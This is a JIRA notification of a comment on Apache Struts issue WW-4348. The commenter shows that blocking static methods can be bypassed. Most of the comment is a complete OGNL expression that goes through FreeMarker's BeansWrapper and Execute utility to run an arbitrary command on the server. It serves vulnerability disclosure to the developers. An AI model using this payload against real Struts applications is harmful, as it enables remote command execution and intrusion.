[ https://issues.apache.org/jira/browse/WW-4348?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15801069#comment-15801069 ]
Markus Wulftange commented on WW-4348: -------------------------------------- Disallowing static methods isn't sufficient. With access to FreeMarker's _BeansWrapper_ instance, it is still possible to create an instance of any class. For example, by creating a FreeMarker _Template_ instance which utilizes the _Execute_ utility, it is still possible to execute arbitrary commands: {noformat} #application["freemarker.Configuration"]["objectWrapper"].newInstance( #context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"), { #application["freemarker.Configuration"]["objectWrapper"].wrap(""), #application["freemarker.Configuration"]["objectWrapper"].wrap("<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}"), #application["freemarker.Configuration"]["objectWrapper"].wrap(#application["freemarker.Configuration"]) } ).process( null, #context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter() ) {noformat} > Remove access to static methods > ------------------------------- > > Key: WW-4348 > URL: https://issues.apache.org/jira/browse/WW-4348 > Project: Struts 2 > Issue Type: Improvement > Components: Core Actions > Affects Versions: 2.3.16.3 > Reporter: Lukasz Lenart > Priority: Critical > Fix For: 2.5.x > > -- This message was sent by Atlassian JIRA (v6.3.4#6332)